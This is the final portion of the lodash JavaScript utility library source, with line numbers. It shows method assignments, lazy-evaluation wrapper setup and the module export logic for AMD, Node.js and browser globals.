16809 lodash.updateWith = updateWith;
16810 lodash.values = values;
16811 lodash.valuesIn = valuesIn;
16812 lodash.without = without;
16813 lodash.words = words;
16814 lodash.wrap = wrap;
16815 lodash.xor = xor;
16816 lodash.xorBy = xorBy;
16817 lodash.xorWith = xorWith;
16818 lodash.zip = zip;
16819 lodash.zipObject = zipObject;
16820 lodash.zipObjectDeep = zipObjectDeep;
16821 lodash.zipWith = zipWith;
16822
16823 // Add aliases.
16824 lodash.entries = toPairs;
16825 lodash.entriesIn = toPairsIn;
16826 lodash.extend = assignIn;
16827 lodash.extendWith = assignInWith;
16828
16829 // Add methods to `lodash.prototype`.
16830 mixin(lodash, lodash);
16831
16832 /*------------------------------------------------------------------------*/
16833
16834 // Add methods that return unwrapped values in chain sequences.
16835 lodash.add = add;
16836 lodash.attempt = attempt;
16837 lodash.camelCase = camelCase;
16838 lodash.capitalize = capitalize;
16839 lodash.ceil = ceil;
16840 lodash.clamp = clamp;
16841 lodash.clone = clone;
16842 lodash.cloneDeep = cloneDeep;
16843 lodash.cloneDeepWith = cloneDeepWith;
16844 lodash.cloneWith = cloneWith;
16845 lodash.conformsTo = conformsTo;
16846 lodash.deburr = deburr;
16847 lodash.defaultTo = defaultTo;
16848 lodash.divide = divide;
16849 lodash.endsWith = endsWith;
16850 lodash.eq = eq;
16851 lodash.escape = escape;
16852 lodash.escapeRegExp = escapeRegExp;
16853 lodash.every = every;
16854 lodash.find = find;
16855 lodash.findIndex = findIndex;
16856 lodash.findKey = findKey;
16857 lodash.findLast = findLast;
16858 lodash.findLastIndex = findLastIndex;
16859 lodash.findLastKey = findLastKey;
16860 lodash.floor = floor;
16861 lodash.forEach = forEach;
16862 lodash.forEachRight = forEachRight;
16863 lodash.forIn = forIn;
16864 lodash.forInRight = forInRight;
16865 lodash.forOwn = forOwn;
16866 lodash.forOwnRight = forOwnRight;
16867 lodash.get = get;
16868 lodash.gt = gt;
16869 lodash.gte = gte;
16870 lodash.has = has;
16871 lodash.hasIn = hasIn;
16872 lodash.head = head;
16873 lodash.identity = identity;
16874 lodash.includes = includes;
16875 lodash.indexOf = indexOf;
16876 lodash.inRange = inRange;
16877 lodash.invoke = invoke;
16878 lodash.isArguments = isArguments;
16879 lodash.isArray = isArray;
16880 lodash.isArrayBuffer = isArrayBuffer;
16881 lodash.isArrayLike = isArrayLike;
16882 lodash.isArrayLikeObject = isArrayLikeObject;
16883 lodash.isBoolean = isBoolean;
16884 lodash.isBuffer = isBuffer;
16885 lodash.isDate = isDate;
16886 lodash.isElement = isElement;
16887 lodash.isEmpty = isEmpty;
16888 lodash.isEqual = isEqual;
16889 lodash.isEqualWith = isEqualWith;
16890 lodash.isError = isError;
16891 lodash.isFinite = isFinite;
16892 lodash.isFunction = isFunction;
16893 lodash.isInteger = isInteger;
16894 lodash.isLength = isLength;
16895 lodash.isMap = isMap;
16896 lodash.isMatch = isMatch;
16897 lodash.isMatchWith = isMatchWith;
16898 lodash.isNaN = isNaN;
16899 lodash.isNative = isNative;
16900 lodash.isNil = isNil;
16901 lodash.isNull = isNull;
16902 lodash.isNumber = isNumber;
16903 lodash.isObject = isObject;
16904 lodash.isObjectLike = isObjectLike;
16905 lodash.isPlainObject = isPlainObject;
16906 lodash.isRegExp = isRegExp;
16907 lodash.isSafeInteger = isSafeInteger;
16908 lodash.isSet = isSet;
16909 lodash.isString = isString;
16910 lodash.isSymbol = isSymbol;
16911 lodash.isTypedArray = isTypedArray;
16912 lodash.isUndefined = isUndefined;
16913 lodash.isWeakMap = isWeakMap;
16914 lodash.isWeakSet = isWeakSet;
16915 lodash.join = join;
16916 lodash.kebabCase = kebabCase;
16917 lodash.last = last;
16918 lodash.lastIndexOf = lastIndexOf;
16919 lodash.lowerCase = lowerCase;
16920 lodash.lowerFirst = lowerFirst;
16921 lodash.lt = lt;
16922 lodash.lte = lte;
16923 lodash.max = max;
16924 lodash.maxBy = maxBy;
16925 lodash.mean = mean;
16926 lodash.meanBy = meanBy;
16927 lodash.min = min;
16928 lodash.minBy = minBy;
16929 lodash.stubArray = stubArray;
16930 lodash.stubFalse = stubFalse;
16931 lodash.stubObject = stubObject;
16932 lodash.stubString = stubString;
16933 lodash.stubTrue = stubTrue;
16934 lodash.multiply = multiply;
16935 lodash.nth = nth;
16936 lodash.noConflict = noConflict;
16937 lodash.noop = noop;
16938 lodash.now = now;
16939 lodash.pad = pad;
16940 lodash.padEnd = padEnd;
16941 lodash.padStart = padStart;
16942 lodash.parseInt = parseInt;
16943 lodash.random = random;
16944 lodash.reduce = reduce;
16945 lodash.reduceRight = reduceRight;
16946 lodash.repeat = repeat;
16947 lodash.replace = replace;
16948 lodash.result = result;
16949 lodash.round = round;
16950 lodash.runInContext = runInContext;
16951 lodash.sample = sample;
16952 lodash.size = size;
16953 lodash.snakeCase = snakeCase;
16954 lodash.some = some;
16955 lodash.sortedIndex = sortedIndex;
16956 lodash.sortedIndexBy = sortedIndexBy;
16957 lodash.sortedIndexOf = sortedIndexOf;
16958 lodash.sortedLastIndex = sortedLastIndex;
16959 lodash.sortedLastIndexBy = sortedLastIndexBy;
16960 lodash.sortedLastIndexOf = sortedLastIndexOf;
16961 lodash.startCase = startCase;
16962 lodash.startsWith = startsWith;
16963 lodash.subtract = subtract;
16964 lodash.sum = sum;
16965 lodash.sumBy = sumBy;
16966 lodash.template = template;
16967 lodash.times = times;
16968 lodash.toFinite = toFinite;
16969 lodash.toInteger = toInteger;
16970 lodash.toLength = toLength;
16971 lodash.toLower = toLower;
16972 lodash.toNumber = toNumber;
16973 lodash.toSafeInteger = toSafeInteger;
16974 lodash.toString = toString;
16975 lodash.toUpper = toUpper;
16976 lodash.trim = trim;
16977 lodash.trimEnd = trimEnd;
16978 lodash.trimStart = trimStart;
16979 lodash.truncate = truncate;
16980 lodash.unescape = unescape;
16981 lodash.uniqueId = uniqueId;
16982 lodash.upperCase = upperCase;
16983 lodash.upperFirst = upperFirst;
16984
16985 // Add aliases.
16986 lodash.each = forEach;
16987 lodash.eachRight = forEachRight;
16988 lodash.first = head;
16989
16990 mixin(lodash, (function() {
16991 var source = {};
16992 baseForOwn(lodash, function(func, methodName) {
16993 if (!hasOwnProperty.call(lodash.prototype, methodName)) {
16994 source[methodName] = func;
16995 }
16996 });
16997 return source;
16998 }()), { 'chain': false });
16999
17000 /*------------------------------------------------------------------------*/
17001
17002 /**
17003 * The semantic version number.
17004 *
17005 * @static
17006 * @memberOf _
17007 * @type {string}
17008 */
17009 lodash.VERSION = VERSION;
17010
17011 // Assign default placeholders.
17012 arrayEach(['bind', 'bindKey', 'curry', 'curryRight', 'partial', 'partialRight'], function(methodName) {
17013 lodash[methodName].placeholder = lodash;
17014 });
17015
17016 // Add `LazyWrapper` methods for `_.drop` and `_.take` variants.
17017 arrayEach(['drop', 'take'], function(methodName, index) {
17018 LazyWrapper.prototype[methodName] = function(n) {
17019 n = n === undefined ? 1 : nativeMax(toInteger(n), 0);
17020
17021 var result = (this.__filtered__ && !index)
17022 ? new LazyWrapper(this)
17023 : this.clone();
17024
17025 if (result.__filtered__) {
17026 result.__takeCount__ = nativeMin(n, result.__takeCount__);
17027 } else {
17028 result.__views__.push({
17029 'size': nativeMin(n, MAX_ARRAY_LENGTH),
17030 'type': methodName + (result.__dir__ < 0 ? 'Right' : '')
17031 });
17032 }
17033 return result;
17034 };
17035
17036 LazyWrapper.prototype[methodName + 'Right'] = function(n) {
17037 return this.reverse()[methodName](n).reverse();
17038 };
17039 });
17040
17041 // Add `LazyWrapper` methods that accept an `iteratee` value.
17042 arrayEach(['filter', 'map', 'takeWhile'], function(methodName, index) {
17043 var type = index + 1,
17044 isFilter = type == LAZY_FILTER_FLAG || type == LAZY_WHILE_FLAG;
17045
17046 LazyWrapper.prototype[methodName] = function(iteratee) {
17047 var result = this.clone();
17048 result.__iteratees__.push({
17049 'iteratee': getIteratee(iteratee, 3),
17050 'type': type
17051 });
17052 result.__filtered__ = result.__filtered__ || isFilter;
17053 return result;
17054 };
17055 });
17056
17057 // Add `LazyWrapper` methods for `_.head` and `_.last`.
17058 arrayEach(['head', 'last'], function(methodName, index) {
17059 var takeName = 'take' + (index ? 'Right' : '');
17060
17061 LazyWrapper.prototype[methodName] = function() {
17062 return this[takeName](1).value()[0];
17063 };
17064 });
17065
17066 // Add `LazyWrapper` methods for `_.initial` and `_.tail`.
17067 arrayEach(['initial', 'tail'], function(methodName, index) {
17068 var dropName = 'drop' + (index ? '' : 'Right');
17069
17070 LazyWrapper.prototype[methodName] = function() {
17071 return this.__filtered__ ? new LazyWrapper(this) : this[dropName](1);
17072 };
17073 });
17074
17075 LazyWrapper.prototype.compact = function() {
17076 return this.filter(identity);
17077 };
17078
17079 LazyWrapper.prototype.find = function(predicate) {
17080 return this.filter(predicate).head();
17081 };
17082
17083 LazyWrapper.prototype.findLast = function(predicate) {
17084 return this.reverse().find(predicate);
17085 };
17086
17087 LazyWrapper.prototype.invokeMap = baseRest(function(path, args) {
17088 if (typeof path == 'function') {
17089 return new LazyWrapper(this);
17090 }
17091 return this.map(function(value) {
17092 return baseInvoke(value, path, args);
17093 });
17094 });
17095
17096 LazyWrapper.prototype.reject = function(predicate) {
17097 return this.filter(negate(getIteratee(predicate)));
17098 };
17099
17100 LazyWrapper.prototype.slice = function(start, end) {
17101 start = toInteger(start);
17102
17103 var result = this;
17104 if (result.__filtered__ && (start > 0 || end < 0)) {
17105 return new LazyWrapper(result);
17106 }
17107 if (start < 0) {
17108 result = result.takeRight(-start);
17109 } else if (start) {
17110 result = result.drop(start);
17111 }
17112 if (end !== undefined) {
17113 end = toInteger(end);
17114 result = end < 0 ? result.dropRight(-end) : result.take(end - start);
17115 }
17116 return result;
17117 };
17118
17119 LazyWrapper.prototype.takeRightWhile = function(predicate) {
17120 return this.reverse().takeWhile(predicate).reverse();
17121 };
17122
17123 LazyWrapper.prototype.toArray = function() {
17124 return this.take(MAX_ARRAY_LENGTH);
17125 };
17126
17127 // Add `LazyWrapper` methods to `lodash.prototype`.
17128 baseForOwn(LazyWrapper.prototype, function(func, methodName) {
17129 var checkIteratee = /^(?:filter|find|map|reject)|While$/.test(methodName),
17130 isTaker = /^(?:head|last)$/.test(methodName),
17131 lodashFunc = lodash[isTaker ? ('take' + (methodName == 'last' ? 'Right' : '')) : methodName],
17132 retUnwrapped = isTaker || /^find/.test(methodName);
17133
17134 if (!lodashFunc) {
17135 return;
17136 }
17137 lodash.prototype[methodName] = function() {
17138 var value = this.__wrapped__,
17139 args = isTaker ? [1] : arguments,
17140 isLazy = value instanceof LazyWrapper,
17141 iteratee = args[0],
17142 useLazy = isLazy || isArray(value);
17143
17144 var interceptor = function(value) {
17145 var result = lodashFunc.apply(lodash, arrayPush([value], args));
17146 return (isTaker && chainAll) ? result[0] : result;
17147 };
17148
17149 if (useLazy && checkIteratee && typeof iteratee == 'function' && iteratee.length != 1) {
17150 // Avoid lazy use if the iteratee has a "length" value other than `1`.
17151 isLazy = useLazy = false;
17152 }
17153 var chainAll = this.__chain__,
17154 isHybrid = !!this.__actions__.length,
17155 isUnwrapped = retUnwrapped && !chainAll,
17156 onlyLazy = isLazy && !isHybrid;
17157
17158 if (!retUnwrapped && useLazy) {
17159 value = onlyLazy ? value : new LazyWrapper(this);
17160 var result = func.apply(value, args);
17161 result.__actions__.push({ 'func': thru, 'args': [interceptor], 'thisArg': undefined });
17162 return new LodashWrapper(result, chainAll);
17163 }
17164 if (isUnwrapped && onlyLazy) {
17165 return func.apply(this, args);
17166 }
17167 result = this.thru(interceptor);
17168 return isUnwrapped ? (isTaker ? result.value()[0] : result.value()) : result;
17169 };
17170 });
17171
17172 // Add `Array` methods to `lodash.prototype`.
17173 arrayEach(['pop', 'push', 'shift', 'sort', 'splice', 'unshift'], function(methodName) {
17174 var func = arrayProto[methodName],
17175 chainName = /^(?:push|sort|unshift)$/.test(methodName) ? 'tap' : 'thru',
17176 retUnwrapped = /^(?:pop|shift)$/.test(methodName);
17177
17178 lodash.prototype[methodName] = function() {
17179 var args = arguments;
17180 if (retUnwrapped && !this.__chain__) {
17181 var value = this.value();
17182 return func.apply(isArray(value) ? value : [], args);
17183 }
17184 return this[chainName](function(value) {
17185 return func.apply(isArray(value) ? value : [], args);
17186 });
17187 };
17188 });
17189
17190 // Map minified method names to their real names.
17191 baseForOwn(LazyWrapper.prototype, function(func, methodName) {
17192 var lodashFunc = lodash[methodName];
17193 if (lodashFunc) {
17194 var key = lodashFunc.name + '';
17195 if (!hasOwnProperty.call(realNames, key)) {
17196 realNames[key] = [];
17197 }
17198 realNames[key].push({ 'name': methodName, 'func': lodashFunc });
17199 }
17200 });
17201
17202 realNames[createHybrid(undefined, WRAP_BIND_KEY_FLAG).name] = [{
17203 'name': 'wrapper',
17204 'func': undefined
17205 }];
17206
17207 // Add methods to `LazyWrapper`.
17208 LazyWrapper.prototype.clone = lazyClone;
17209 LazyWrapper.prototype.reverse = lazyReverse;
17210 LazyWrapper.prototype.value = lazyValue;
17211
17212 // Add chain sequence methods to the `lodash` wrapper.
17213 lodash.prototype.at = wrapperAt;
17214 lodash.prototype.chain = wrapperChain;
17215 lodash.prototype.commit = wrapperCommit;
17216 lodash.prototype.next = wrapperNext;
17217 lodash.prototype.plant = wrapperPlant;
17218 lodash.prototype.reverse = wrapperReverse;
17219 lodash.prototype.toJSON = lodash.prototype.valueOf = lodash.prototype.value = wrapperValue;
17220
17221 // Add lazy aliases.
17222 lodash.prototype.first = lodash.prototype.head;
17223
17224 if (symIterator) {
17225 lodash.prototype[symIterator] = wrapperToIterator;
17226 }
17227 return lodash;
17228 });
17229
17230 /*--------------------------------------------------------------------------*/
17231
17232 // Export lodash.
17233 var _ = runInContext();
17234
17235 // Some AMD build optimizers, like r.js, check for condition patterns like:
17236 if (typeof define == 'function' && typeof define.amd == 'object' && define.amd) {
17237 // Expose Lodash on the global object to prevent errors when Lodash is
17238 // loaded by a script tag in the presence of an AMD loader.
17239 // See http://requirejs.org/docs/errors.html#mismatch for more details.
17240 // Use `_.noConflict` to remove Lodash from the global object.
17241 root._ = _;
17242
17243 // Define as an anonymous module so, through path mapping, it can be
17244 // referenced as the "underscore" module.
17245 define(function() {
17246 return _;
17247 });
17248 }
17249 // Check for `exports` after `define` in case a build optimizer adds it.
17250 else if (freeModule) {
17251 // Export for Node.js.
17252 (freeModule.exports = _)._ = _;
17253 // Export for CommonJS support.
17254 freeExports._ = _;
17255 }
17256 else {
17257 // Export to the global object.
17258 root._ = _;
17259 }
17260}.call(this));
17261